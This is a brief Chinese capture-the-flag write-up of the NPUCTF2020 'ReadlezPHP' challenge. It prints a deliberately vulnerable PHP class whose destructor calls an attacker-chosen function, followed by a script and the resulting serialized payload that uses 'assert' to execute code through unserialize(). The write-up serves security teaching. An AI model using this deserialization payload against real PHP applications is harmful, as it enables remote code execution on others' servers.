[NPUCTF2020]ReadlezPHP 1
首先打开题目,通过查看源码发现:
发现time.php页面访问得到:
请求source看看得到:
得到源码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
很简单的一个反序列化,传入两个值b做函数,a做命令
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
$b($a);
}
}
$c =new HelloPhp;
echo serialize($c);
?>
得到:
O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}
请求得到:
查看信息发现flag: